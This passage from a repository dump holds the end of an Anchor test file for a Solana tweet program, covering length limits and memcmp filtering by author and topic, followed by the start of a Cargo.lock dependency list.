70 | .signers([otherUser, tweet])
71 | .rpc()
72 | // Fetch the account details of the created tweet.
73 | const tweetAccount = await program.account.tweet.fetch(tweet.publicKey)
74 | assert.equal(tweetAccount.author.toBase58(), otherUser.publicKey.toBase58());
75 | assert.equal(tweetAccount.content, 'I eat meat');
76 | assert.equal(tweetAccount.topic, '');
77 | assert.ok(tweetAccount.timestamp)
78 | })
79 |
80 | it('cannot provide a topic with more than 50 characters', async() => {
81 | const tweet = anchor.web3.Keypair.generate();
82 |
83 | const topicWith51Chars = 'x'.repeat(51);
84 |
85 | await program.methods.sendTweet(topicWith51Chars, 'I eat meat')
86 | .accounts({
87 | tweet: tweet.publicKey,
88 | author: program.provider.wallet.payer.publicKey,
89 | systemProgram: anchor.web3.SystemProgram.programId
90 | })
91 | .signers([tweet])
92 | .rpc()
93 | .catch(error => {
94 | console.log(error.error)
95 | assert.equal(error.error.errorMessage, 'The provided topic should be 50 characters long maximum')
96 | return
97 | })
98 | })
99 |
100 | it('cannot provide a content with more than 280 characters', async() => {
101 | const tweet = anchor.web3.Keypair.generate();
102 |
103 | const contentWith281Chars = 'x'.repeat(281);
104 |
105 | await program.methods.sendTweet('hello', contentWith281Chars)
106 | .accounts({
107 | tweet: tweet.publicKey,
108 | author: program.provider.wallet.payer.publicKey,
109 | systemProgram: anchor.web3.SystemProgram.programId
110 | })
111 | .signers([tweet])
112 | .rpc()
113 | .catch(error => {
114 | console.log(error.error)
115 | assert.equal(error.error.errorMessage, 'The provided content should be 280 characters long maximum')
116 | return
117 | })
118 | })
119 |
120 | it('can fetch all tweets', async () => {
121 | const tweetAccounts = await program.account.tweet.all();
122 | assert.equal(tweetAccounts.length, 3);
123 | });
124 |
125 | it('can filter tweets by author', async () => {
126 |
127 | /**
128 | * The memcmp filter— is a bit more useful. It allows us to compare an array of bytes with the account's data at a particular offset.
129 | * That means, we need to provide an array of bytes that should be present in the account's data at a certain position and it will only return these accounts.So we need to provide 2 things:
130 | * The offset: The position (in bytes) in which we should start comparing the data. This expects an integer.
131 | * The bytes array: The data to compare to the account's data. This array of bytes should be encoded in base 58.
132 | * For instance, say I wanted to retrieve all accounts that have my public key at the 42nd byte. Then, I could use the following memcmp filter
133 |
134 | * So we need two things: the offset and the bytes. For the offset,
135 | * we need to find out where in the data the author's public key
136 | * is stored. Fortunately, we've already done all that work in episode 3.
137 | * We know that the first 8 bytes are reserved for the discriminator and
138 | * that the author's public key comes afterwards. Therefore, our offset is simply: 8
139 | */
140 | const authorPublicKey = program.provider.wallet.publicKey
141 | const tweetAccounts = await program.account.tweet.all([
142 | {
143 | memcmp: {
144 | offset: 8, // Discriminator.
145 | bytes: authorPublicKey.toBase58(),
146 | }
147 | }
148 | ]);
149 |
150 | // the account was used to send 2 tweets above
151 | assert.equal(tweetAccounts.length, 2);
152 | /**
153 | * Let's be a bit more strict in that test and make sure that both of the accounts inside tweetAccounts are in fact from our wallet.
154 | */
155 | assert.ok(tweetAccounts.every(tweetAccount => {
156 | return tweetAccount.account.author.toBase58() === authorPublicKey.toBase58()
157 | }))
158 |
159 | });
160 |
161 | it('can filter tweets by topics', async () => {
162 | /**
163 | * Next, we need to provide a topic to search for in our tests. Since two of the three accounts created in the tests use the veganism topic, let's use that.
164 | * However, we can't just give 'veganism' as a string to the bytes property. It needs to be a base-58 encoded array of bytes. To do this, we first need to convert our string to a buffer which we can then encode in base 58.
165 | * We can convert a string to a buffer using Buffer.from('some string').
166 | * We can base-58 encode a buffer using bs58.encode(buffer).
167 | * The Buffer variable is already available globally but that's not the case for the bs58 variable that we need to import explicitly at the top of our test file.
168 | */
169 | const tweetAccounts = await program.account.tweet.all([
170 | {
171 | memcmp: {
172 | offset: 8 + // Discriminator.
173 | 32 + // Author public key.
174 | 8 + // Timestamp.
175 | 4, // Topic string prefix.
176 | bytes: bs58.encode(Buffer.from('non_vegetarian')),
177 | }
178 | }
179 | ]);
180 |
181 | assert.equal(tweetAccounts.length, 2);
182 | assert.ok(tweetAccounts.every(tweetAccount => {
183 | return tweetAccount.account.topic === 'non_vegetarian'
184 | }))
185 |
186 | })
187 |
188 | });
189 |
--------------------------------------------------------------------------------
/Cargo.lock:
--------------------------------------------------------------------------------
1 | # This file is automatically @generated by Cargo.
2 | # It is not intended for manual editing.
3 | version = 3
4 |
5 | [[package]]
6 | name = "ahash"
7 | version = "0.7.6"
8 | source = "registry+https://github.com/rust-lang/crates.io-index"
9 | checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47"
10 | dependencies = [
11 | "getrandom 0.2.6",
12 | "once_cell",
13 | "version_check",
14 | ]
15 |
16 | [[package]]
17 | name = "aho-corasick"
18 | version = "0.7.18"
19 | source = "registry+https://github.com/rust-lang/crates.io-index"
20 | checksum = "1e37cfd5e7657ada45f742d6e99ca5788580b5c529dc78faf11ece6dc702656f"
21 | dependencies = [
22 | "memchr",
23 | ]
24 |
25 | [[package]]
26 | name = "anchor-attribute-access-control"
27 | version = "0.24.2"
28 | source = "registry+https://github.com/rust-lang/crates.io-index"
29 | checksum = "a9b75d05b6b4ac9d95bb6e3b786b27d3a708c4c5a87c92ffaa25bbe9ae4c5d91"
30 | dependencies = [
31 | "anchor-syn",
32 | "anyhow",
33 | "proc-macro2",
34 | "quote",
35 | "regex",
36 | "syn",
37 | ]
38 |
39 | [[package]]
40 | name = "anchor-attribute-account"
41 | version = "0.24.2"
42 | source = "registry+https://github.com/rust-lang/crates.io-index"
43 | checksum = "485351a6d8157750d10d88c8e256f1bf8339262b2220ae9125aed3471309b5de"
44 | dependencies = [
45 | "anchor-syn",
46 | "anyhow",
47 | "bs58 0.4.0",
48 | "proc-macro2",
49 | "quote",
50 | "rustversion",
51 | "syn",
52 | ]
53 |
54 | [[package]]
55 | name = "anchor-attribute-constant"
56 | version = "0.24.2"
57 | source = "registry+https://github.com/rust-lang/crates.io-index"
58 | checksum = "dc632c540913dd051a78b00587cc47f57013d303163ddfaf4fa18717f7ccc1e0"
59 | dependencies = [
60 | "anchor-syn",
61 | "proc-macro2",
62 | "syn",
63 | ]
64 |
65 | [[package]]
66 | name = "anchor-attribute-error"
67 | version = "0.24.2"
68 | source = "registry+https://github.com/rust-lang/crates.io-index"
69 | checksum = "3b5bd1dcfa7f3bc22dacef233d70a9e0bee269c4ac484510662f257cba2353a1"
70 | dependencies = [
71 | "anchor-syn",
72 | "proc-macro2",
73 | "quote",
74 | "syn",
75 | ]
76 |
77 | [[package]]
78 | name = "anchor-attribute-event"
79 | version = "0.24.2"
80 | source = "registry+https://github.com/rust-lang/crates.io-index"
81 | checksum = "6c6f9e6ce551ac9a177a45c99a65699a860c9e95fac68675138af1246e2591b0"
82 | dependencies = [
83 | "anchor-syn",
84 | "anyhow",
85 | "proc-macro2",
86 | "quote",
87 | "syn",
88 | ]
89 |
90 | [[package]]
91 | name = "anchor-attribute-interface"
92 | version = "0.24.2"
93 | source = "registry+https://github.com/rust-lang/crates.io-index"
94 | checksum = "d104aa17418cb329ed7418b227e083d5f326a27f26ce98f5d92e33da62a5f459"
95 | dependencies = [
96 | "anchor-syn",
97 | "anyhow",
98 | "heck",
99 | "proc-macro2",
100 | "quote",
101 | "syn",
102 | ]
103 |
104 | [[package]]
105 | name = "anchor-attribute-program"
106 | version = "0.24.2"
107 | source = "registry+https://github.com/rust-lang/crates.io-index"
108 | checksum = "b6831b920b173c004ddf7ae1167d1d25e9f002ffcb1773bbc5c7ce532a4441e1"
109 | dependencies = [
110 | "anchor-syn",
111 | "anyhow",
112 | "proc-macro2",
113 | "quote",
114 | "syn",
115 | ]
116 |
117 | [[package]]
118 | name = "anchor-attribute-state"
119 | version = "0.24.2"
120 | source = "registry+https://github.com/rust-lang/crates.io-index"
121 | checksum = "cde147b10c71d95dc679785db0b5f3abac0091f789167aa62ac0135e2f54e8b9"
122 | dependencies = [
123 | "anchor-syn",
124 | "anyhow",
125 | "proc-macro2",
126 | "quote",
127 | "syn",
128 | ]
129 |
130 | [[package]]
131 | name = "anchor-derive-accounts"
132 | version = "0.24.2"
133 | source = "registry+https://github.com/rust-lang/crates.io-index"
134 | checksum = "9cde98a0e1a56046b040ff591dfda391f88917af2b6487d02b45093c05be3514"
135 | dependencies = [
136 | "anchor-syn",
137 | "anyhow",
138 | "proc-macro2",
139 | "quote",
140 | "syn",
141 | ]
142 |
143 | [[package]]
144 | name = "anchor-lang"
145 | version = "0.24.2"
146 | source = "registry+https://github.com/rust-lang/crates.io-index"
147 | checksum = "a85dd2c5e29e20c7f4701a43724d6cd5406d0ee5694705522e43da0f26542a84"
148 | dependencies = [
149 | "anchor-attribute-access-control",
150 | "anchor-attribute-account",
151 | "anchor-attribute-constant",
152 | "anchor-attribute-error",
153 | "anchor-attribute-event",
154 | "anchor-attribute-interface",
155 | "anchor-attribute-program",
156 | "anchor-attribute-state",
157 | "anchor-derive-accounts",
158 | "arrayref",
159 | "base64 0.13.0",
160 | "bincode",
161 | "borsh",
162 | "bytemuck",
163 | "solana-program",
164 | "thiserror",
165 | ]
166 |
167 | [[package]]
168 | name = "anchor-syn"
169 | version = "0.24.2"
170 | source = "registry+https://github.com/rust-lang/crates.io-index"
171 | checksum = "03549dc2eae0b20beba6333b14520e511822a6321cdb1760f841064a69347316"
172 | dependencies = [
173 | "anyhow",
174 | "bs58 0.3.1",
175 | "heck",
176 | "proc-macro2",
177 | "proc-macro2-diagnostics",
178 | "quote",
179 | "serde",
180 | "serde_json",
181 | "sha2",
182 | "syn",
183 | "thiserror",
184 | ]
185 |
186 | [[package]]
187 | name = "anyhow"
188 | version = "1.0.57"
189 | source = "registry+https://github.com/rust-lang/crates.io-index"
190 | checksum = "08f9b8508dccb7687a1d6c4ce66b2b0ecef467c94667de27d8d7fe1f8d2a9cdc"
191 |
192 | [[package]]
193 | name = "arrayref"
194 | version = "0.3.6"
195 | source = "registry+https://github.com/rust-lang/crates.io-index"
196 | checksum = "a4c527152e37cf757a3f78aae5a06fbeefdb07ccc535c980a3208ee3060dd544"
197 |
198 | [[package]]
199 | name = "arrayvec"
200 | version = "0.7.2"
201 | source = "registry+https://github.com/rust-lang/crates.io-index"
202 | checksum = "8da52d66c7071e2e3fa2a1e5c6d088fec47b593032b254f5e980de8ea54454d6"
203 |
204 | [[package]]
205 | name = "atty"
206 | version = "0.2.14"
207 | source = "registry+https://github.com/rust-lang/crates.io-index"
208 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
209 | dependencies = [
210 | "hermit-abi",
211 | "libc",
212 | "winapi",
213 | ]
214 |
215 | [[package]]
216 | name = "autocfg"
217 | version = "1.1.0"
218 | source = "registry+https://github.com/rust-lang/crates.io-index"
219 | checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
220 |
221 | [[package]]
222 | name = "base64"
223 | version = "0.12.3"
224 | source = "registry+https://github.com/rust-lang/crates.io-index"
225 | checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff"
226 |
227 | [[package]]
228 | name = "base64"
229 | version = "0.13.0"
230 | source = "registry+https://github.com/rust-lang/crates.io-index"
231 | checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd"
232 |
233 | [[package]]
234 | name = "bincode"
235 | version = "1.3.3"
236 | source = "registry+https://github.com/rust-lang/crates.io-index"
237 | checksum = "b1f45e9417d87227c7a56d22e471c6206462cba514c7590c09aff4cf6d1ddcad"
238 | dependencies = [
239 | "serde",
240 | ]
241 |
242 | [[package]]
243 | name = "bitflags"
244 | version = "1.3.2"
245 | source = "registry+https://github.com/rust-lang/crates.io-index"
246 | checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
247 |
248 | [[package]]
249 | name = "blake3"
250 | version = "1.3.1"
251 | source = "registry+https://github.com/rust-lang/crates.io-index"
252 | checksum = "a08e53fc5a564bb15bfe6fae56bd71522205f1f91893f9c0116edad6496c183f"
253 | dependencies = [
254 | "arrayref",
255 | "arrayvec",
256 | "cc",
257 | "cfg-if",
258 | "constant_time_eq",
259 | "digest 0.10.3",
260 | ]
261 |
262 | [[package]]
263 | name = "block-buffer"
264 | version = "0.9.0"
265 | source = "registry+https://github.com/rust-lang/crates.io-index"
266 | checksum = "4152116fd6e9dadb291ae18fc1ec3575ed6d84c29642d97890f4b4a3417297e4"
267 | dependencies = [
268 | "block-padding",
269 | "generic-array",
270 | ]
271 |
272 | [[package]]
273 | name = "block-buffer"
274 | version = "0.10.2"
275 | source = "registry+https://github.com/rust-lang/crates.io-index"
276 | checksum = "0bf7fe51849ea569fd452f37822f606a5cabb684dc918707a0193fd4664ff324"
277 | dependencies = [
278 | "generic-array",
279 | ]
280 |
281 | [[package]]
282 | name = "block-padding"
283 | version = "0.2.1"
284 | source = "registry+https://github.com/rust-lang/crates.io-index"
285 | checksum = "8d696c370c750c948ada61c69a0ee2cbbb9c50b1019ddb86d9317157a99c2cae"
286 |
287 | [[package]]
288 | name = "borsh"
289 | version = "0.9.3"
290 | source = "registry+https://github.com/rust-lang/crates.io-index"
291 | checksum = "15bf3650200d8bffa99015595e10f1fbd17de07abbc25bb067da79e769939bfa"
292 | dependencies = [
293 | "borsh-derive",
294 | "hashbrown",
295 | ]
296 |
297 | [[package]]
298 | name = "borsh-derive"
299 | version = "0.9.3"
300 | source = "registry+https://github.com/rust-lang/crates.io-index"
301 | checksum = "6441c552f230375d18e3cc377677914d2ca2b0d36e52129fe15450a2dce46775"
302 | dependencies = [
303 | "borsh-derive-internal",
304 | "borsh-schema-derive-internal",
305 | "proc-macro-crate",
306 | "proc-macro2",
307 | "syn",
308 | ]
309 |
310 | [[package]]
311 | name = "borsh-derive-internal"
312 | version = "0.9.3"
313 | source = "registry+https://github.com/rust-lang/crates.io-index"
314 | checksum = "5449c28a7b352f2d1e592a8a28bf139bc71afb0764a14f3c02500935d8c44065"
315 | dependencies = [
316 | "proc-macro2",
317 | "quote",
318 | "syn",
319 | ]
320 |
321 | [[package]]
322 | name = "borsh-schema-derive-internal"
323 | version = "0.9.3"
324 | source = "registry+https://github.com/rust-lang/crates.io-index"
325 | checksum = "cdbd5696d8bfa21d53d9fe39a714a18538bad11492a42d066dbbc395fb1951c0"
326 | dependencies = [
327 | "proc-macro2",
328 | "quote",
329 | "syn",
330 | ]
331 |
332 | [[package]]
333 | name = "bs58"
334 | version = "0.3.1"
335 | source = "registry+https://github.com/rust-lang/crates.io-index"
336 | checksum = "476e9cd489f9e121e02ffa6014a8ef220ecb15c05ed23fc34cca13925dc283fb"
337 |
338 | [[package]]
339 | name = "bs58"
340 | version = "0.4.0"
341 | source = "registry+https://github.com/rust-lang/crates.io-index"
342 | checksum = "771fe0050b883fcc3ea2359b1a96bcfbc090b7116eae7c3c512c7a083fdf23d3"
343 |
344 | [[package]]
345 | name = "bumpalo"
346 | version = "3.9.1"
347 | source = "registry+https://github.com/rust-lang/crates.io-index"
348 | checksum = "a4a45a46ab1f2412e53d3a0ade76ffad2025804294569aae387231a0cd6e0899"
349 |
350 | [[package]]
351 | name = "bv"
352 | version = "0.11.1"
353 | source = "registry+https://github.com/rust-lang/crates.io-index"
354 | checksum = "8834bb1d8ee5dc048ee3124f2c7c1afcc6bc9aed03f11e9dfd8c69470a5db340"
355 | dependencies = [
356 | "feature-probe",
357 | "serde",
358 | ]
359 |
360 | [[package]]
361 | name = "bytemuck"
362 | version = "1.9.1"
363 | source = "registry+https://github.com/rust-lang/crates.io-index"
364 | checksum = "cdead85bdec19c194affaeeb670c0e41fe23de31459efd1c174d049269cf02cc"
365 | dependencies = [
366 | "bytemuck_derive",
367 | ]
368 |
369 | [[package]]
370 | name = "bytemuck_derive"
371 | version = "1.1.0"
372 | source = "registry+https://github.com/rust-lang/crates.io-index"
373 | checksum = "562e382481975bc61d11275ac5e62a19abd00b0547d99516a415336f183dcd0e"
374 | dependencies = [
375 | "proc-macro2",
376 | "quote",
377 | "syn",
378 | ]
379 |
380 | [[package]]
381 | name = "byteorder"
382 | version = "1.4.3"
383 | source = "registry+https://github.com/rust-lang/crates.io-index"
384 | checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
385 |
386 | [[package]]
387 | name = "cc"
388 | version = "1.0.73"
389 | source = "registry+https://github.com/rust-lang/crates.io-index"
390 | checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11"
391 |
392 | [[package]]
393 | name = "cfg-if"
394 | version = "1.0.0"
395 | source = "registry+https://github.com/rust-lang/crates.io-index"
396 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
397 |
398 | [[package]]
399 | name = "console_error_panic_hook"
400 | version = "0.1.7"
401 | source = "registry+https://github.com/rust-lang/crates.io-index"
402 | checksum = "a06aeb73f470f66dcdbf7223caeebb85984942f22f1adb2a088cf9668146bbbc"
403 | dependencies = [
404 | "cfg-if",
405 | "wasm-bindgen",
406 | ]
407 |
408 | [[package]]
409 | name = "console_log"
410 | version = "0.2.0"
411 | source = "registry+https://github.com/rust-lang/crates.io-index"
412 | checksum = "501a375961cef1a0d44767200e66e4a559283097e91d0730b1d75dfb2f8a1494"
413 | dependencies = [
414 | "log",
415 | "web-sys",
416 | ]
417 |
418 | [[package]]
419 | name = "constant_time_eq"
420 | version = "0.1.5"
421 | source = "registry+https://github.com/rust-lang/crates.io-index"
422 | checksum = "245097e9a4535ee1e3e3931fcfcd55a796a44c643e8596ff6566d68f09b87bbc"
423 |
424 | [[package]]
425 | name = "cpufeatures"
426 | version = "0.2.2"
427 | source = "registry+https://github.com/rust-lang/crates.io-index"
428 | checksum = "59a6001667ab124aebae2a495118e11d30984c3a653e99d86d58971708cf5e4b"
429 | dependencies = [
430 | "libc",
431 | ]
432 |
433 | [[package]]
434 | name = "crunchy"
435 | version = "0.2.2"
436 | source = "registry+https://github.com/rust-lang/crates.io-index"
437 | checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7"
438 |
439 | [[package]]
440 | name = "crypto-common"
441 | version = "0.1.3"
442 | source = "registry+https://github.com/rust-lang/crates.io-index"
443 | checksum = "57952ca27b5e3606ff4dd79b0020231aaf9d6aa76dc05fd30137538c50bd3ce8"
444 | dependencies = [
445 | "generic-array",
446 | "typenum",
447 | ]
448 |
449 | [[package]]
450 | name = "crypto-mac"
451 | version = "0.8.0"
452 | source = "registry+https://github.com/rust-lang/crates.io-index"
453 | checksum = "b584a330336237c1eecd3e94266efb216c56ed91225d634cb2991c5f3fd1aeab"
454 | dependencies = [
455 | "generic-array",
456 | "subtle",
457 | ]
458 |
459 | [[package]]
460 | name = "curve25519-dalek"
461 | version = "3.2.1"
462 | source = "registry+https://github.com/rust-lang/crates.io-index"
463 | checksum = "90f9d052967f590a76e62eb387bd0bbb1b000182c3cefe5364db6b7211651bc0"
464 | dependencies = [
465 | "byteorder",
466 | "digest 0.9.0",
467 | "rand_core",
468 | "subtle",
469 | "zeroize",
470 | ]
471 |
472 | [[package]]
473 | name = "digest"
474 | version = "0.9.0"
475 | source = "registry+https://github.com/rust-lang/crates.io-index"
476 | checksum = "d3dd60d1080a57a05ab032377049e0591415d2b31afd7028356dbf3cc6dcb066"
477 | dependencies = [
478 | "generic-array",
479 | ]
480 |
481 | [[package]]
482 | name = "digest"
483 | version = "0.10.3"
484 | source = "registry+https://github.com/rust-lang/crates.io-index"
485 | checksum = "f2fb860ca6fafa5552fb6d0e816a69c8e49f0908bf524e30a90d97c85892d506"
486 | dependencies = [
487 | "block-buffer 0.10.2",
488 | "crypto-common",
489 | "subtle",
490 | ]
491 |
492 | [[package]]
493 | name = "either"
494 | version = "1.6.1"
495 | source = "registry+https://github.com/rust-lang/crates.io-index"
496 | checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457"
497 |
498 | [[package]]
499 | name = "env_logger"
500 | version = "0.9.0"
501 | source = "registry+https://github.com/rust-lang/crates.io-index"
502 | checksum = "0b2cf0344971ee6c64c31be0d530793fba457d322dfec2810c453d0ef228f9c3"
503 | dependencies = [
504 | "atty",
505 | "humantime",
506 | "log",
507 | "regex",
508 | "termcolor",
509 | ]
510 |
511 | [[package]]
512 | name = "feature-probe"
513 | version = "0.1.1"
514 | source = "registry+https://github.com/rust-lang/crates.io-index"
515 | checksum = "835a3dc7d1ec9e75e2b5fb4ba75396837112d2060b03f7d43bc1897c7f7211da"
516 |
517 | [[package]]
518 | name = "generic-array"
519 | version = "0.14.5"
520 | source = "registry+https://github.com/rust-lang/crates.io-index"
521 | checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803"
522 | dependencies = [
523 | "serde",
524 | "typenum",
525 | "version_check",
526 | ]
527 |
528 | [[package]]
529 | name = "getrandom"
530 | version = "0.1.16"
531 | source = "registry+https://github.com/rust-lang/crates.io-index"
532 | checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce"
533 | dependencies = [
534 | "cfg-if",
535 | "js-sys",
536 | "libc",
537 | "wasi 0.9.0+wasi-snapshot-preview1",
538 | "wasm-bindgen",
539 | ]
540 |
541 | [[package]]
542 | name = "getrandom"
543 | version = "0.2.6"
544 | source = "registry+https://github.com/rust-lang/crates.io-index"
545 | checksum = "9be70c98951c83b8d2f8f60d7065fa6d5146873094452a1008da8c2f1e4205ad"
546 | dependencies = [
547 | "cfg-if",
548 | "libc",
549 | "wasi 0.10.2+wasi-snapshot-preview1",
550 | ]
551 |
552 | [[package]]
553 | name = "hashbrown"
554 | version = "0.11.2"
555 | source = "registry+https://github.com/rust-lang/crates.io-index"
556 | checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e"
557 | dependencies = [
558 | "ahash",
559 | ]
560 |
561 | [[package]]
562 | name = "heck"
563 | version = "0.3.3"
564 | source = "registry+https://github.com/rust-lang/crates.io-index"
565 | checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c"
566 | dependencies = [
567 | "unicode-segmentation",
568 | ]
569 |
570 | [[package]]
571 | name = "hermit-abi"
572 | version = "0.1.19"
573 | source = "registry+https://github.com/rust-lang/crates.io-index"
574 | checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33"
575 | dependencies = [
576 | "libc",
577 | ]
578 |
579 | [[package]]
580 | name = "hmac"
581 | version = "0.8.1"
582 | source = "registry+https://github.com/rust-lang/crates.io-index"
583 | checksum = "126888268dcc288495a26bf004b38c5fdbb31682f992c84ceb046a1f0fe38840"
584 | dependencies = [
585 | "crypto-mac",
586 | "digest 0.9.0",
587 | ]
588 |
589 | [[package]]
590 | name = "hmac-drbg"
591 | version = "0.3.0"
592 | source = "registry+https://github.com/rust-lang/crates.io-index"
593 | checksum = "17ea0a1394df5b6574da6e0c1ade9e78868c9fb0a4e5ef4428e32da4676b85b1"
594 | dependencies = [
595 | "digest 0.9.0",
596 | "generic-array",
597 | "hmac",
598 | ]
599 |
600 | [[package]]
601 | name = "humantime"
602 | version = "2.1.0"
603 | source = "registry+https://github.com/rust-lang/crates.io-index"
604 | checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
605 |
606 | [[package]]
607 | name = "instant"
608 | version = "0.1.12"
609 | source = "registry+https://github.com/rust-lang/crates.io-index"
610 | checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
611 | dependencies = [
612 | "cfg-if",
613 | ]
614 |
615 | [[package]]
616 | name = "itertools"
617 | version = "0.10.3"
618 | source = "registry+https://github.com/rust-lang/crates.io-index"
619 | checksum = "a9a9d19fa1e79b6215ff29b9d6880b706147f16e9b1dbb1e4e5947b5b02bc5e3"
620 | dependencies = [
621 | "either",
622 | ]
623 |
624 | [[package]]
625 | name = "itoa"
626 | version = "1.0.2"
627 | source = "registry+https://github.com/rust-lang/crates.io-index"
628 | checksum = "112c678d4050afce233f4f2852bb2eb519230b3cf12f33585275537d7e41578d"
629 |
630 | [[package]]
631 | name = "js-sys"
632 | version = "0.3.57"
633 | source = "registry+https://github.com/rust-lang/crates.io-index"
634 | checksum = "671a26f820db17c2a2750743f1dd03bafd15b98c9f30c7c2628c024c05d73397"
635 | dependencies = [
636 | "wasm-bindgen",
637 | ]
638 |
639 | [[package]]
640 | name = "keccak"
641 | version = "0.1.2"
642 | source = "registry+https://github.com/rust-lang/crates.io-index"
643 | checksum = "f9b7d56ba4a8344d6be9729995e6b06f928af29998cdf79fe390cbf6b1fee838"
644 |
645 | [[package]]
646 | name = "lazy_static"
647 | version = "1.4.0"
648 | source = "registry+https://github.com/rust-lang/crates.io-index"
649 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
650 |
651 | [[package]]
652 | name = "libc"
653 | version = "0.2.126"
654 | source = "registry+https://github.com/rust-lang/crates.io-index"
655 | checksum = "349d5a591cd28b49e1d1037471617a32ddcda5731b99419008085f72d5a53836"
656 |
657 | [[package]]
658 | name = "libsecp256k1"
659 | version = "0.6.0"
660 | source = "registry+https://github.com/rust-lang/crates.io-index"
661 | checksum = "c9d220bc1feda2ac231cb78c3d26f27676b8cf82c96971f7aeef3d0cf2797c73"
662 | dependencies = [
663 | "arrayref",
664 | "base64 0.12.3",
665 | "digest 0.9.0",
666 | "hmac-drbg",
667 | "libsecp256k1-core",
668 | "libsecp256k1-gen-ecmult",
669 | "libsecp256k1-gen-genmult",
670 | "rand",
671 | "serde",
672 | "sha2",
673 | "typenum",
674 | ]
675 |
676 | [[package]]
677 | name = "libsecp256k1-core"
678 | version = "0.2.2"
679 | source = "registry+https://github.com/rust-lang/crates.io-index"
680 | checksum = "d0f6ab710cec28cef759c5f18671a27dae2a5f952cdaaee1d8e2908cb2478a80"
681 | dependencies = [
682 | "crunchy",
683 | "digest 0.9.0",
684 | "subtle",
685 | ]
686 |
687 | [[package]]
688 | name = "libsecp256k1-gen-ecmult"
689 | version = "0.2.1"
690 | source = "registry+https://github.com/rust-lang/crates.io-index"
691 | checksum = "ccab96b584d38fac86a83f07e659f0deafd0253dc096dab5a36d53efe653c5c3"
692 | dependencies = [
693 | "libsecp256k1-core",
694 | ]
695 |
696 | [[package]]
697 | name = "libsecp256k1-gen-genmult"
698 | version = "0.2.1"
699 | source = "registry+https://github.com/rust-lang/crates.io-index"
700 | checksum = "67abfe149395e3aa1c48a2beb32b068e2334402df8181f818d3aee2b304c4f5d"
701 | dependencies = [
702 | "libsecp256k1-core",
703 | ]
704 |
705 | [[package]]
706 | name = "lock_api"
707 | version = "0.4.7"
708 | source = "registry+https://github.com/rust-lang/crates.io-index"
709 | checksum = "327fa5b6a6940e4699ec49a9beae1ea4845c6bab9314e4f84ac68742139d8c53"
710 | dependencies = [
711 | "autocfg",
712 | "scopeguard",
713 | ]
714 |
715 | [[package]]
716 | name = "log"
717 | version = "0.4.17"
718 | source = "registry+https://github.com/rust-lang/crates.io-index"
719 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
720 | dependencies = [
721 | "cfg-if",
722 | ]
723 |
724 | [[package]]
725 | name = "memchr"
726 | version = "2.5.0"
727 | source = "registry+https://github.com/rust-lang/crates.io-index"
728 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d"
729 |
730 | [[package]]
731 | name = "memmap2"
732 | version = "0.5.3"
733 | source = "registry+https://github.com/rust-lang/crates.io-index"
734 | checksum = "057a3db23999c867821a7a59feb06a578fcb03685e983dff90daf9e7d24ac08f"
735 | dependencies = [
736 | "libc",
737 | ]
738 |
739 | [[package]]
740 | name = "num-derive"
741 | version = "0.3.3"
742 | source = "registry+https://github.com/rust-lang/crates.io-index"
743 | checksum = "876a53fff98e03a936a674b29568b0e605f06b29372c2489ff4de23f1949743d"
744 | dependencies = [
745 | "proc-macro2",
746 | "quote",
747 | "syn",
748 | ]
749 |
750 | [[package]]
751 | name = "num-traits"
752 | version = "0.2.15"
753 | source = "registry+https://github.com/rust-lang/crates.io-index"
754 | checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd"
755 | dependencies = [
756 | "autocfg",
757 | ]
758 |
759 | [[package]]
760 | name = "once_cell"
761 | version = "1.12.0"
762 | source = "registry+https://github.com/rust-lang/crates.io-index"
763 | checksum = "7709cef83f0c1f58f666e746a08b21e0085f7440fa6a29cc194d68aac97a4225"
764 |
765 | [[package]]
766 | name = "opaque-debug"
767 | version = "0.3.0"
768 | source = "registry+https://github.com/rust-lang/crates.io-index"
769 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5"
770 |
771 | [[package]]
772 | name = "parking_lot"
773 | version = "0.11.2"
774 | source = "registry+https://github.com/rust-lang/crates.io-index"
775 | checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99"
776 | dependencies = [
777 | "instant",
778 | "lock_api",
779 | "parking_lot_core",
780 | ]
781 |
782 | [[package]]
783 | name = "parking_lot_core"
784 | version = "0.8.5"
785 | source = "registry+https://github.com/rust-lang/crates.io-index"
786 | checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216"
787 | dependencies = [
788 | "cfg-if",
789 | "instant",
790 | "libc",
791 | "redox_syscall",
792 | "smallvec",
793 | "winapi",
794 | ]
795 |
796 | [[package]]
797 | name = "ppv-lite86"
798 | version = "0.2.16"
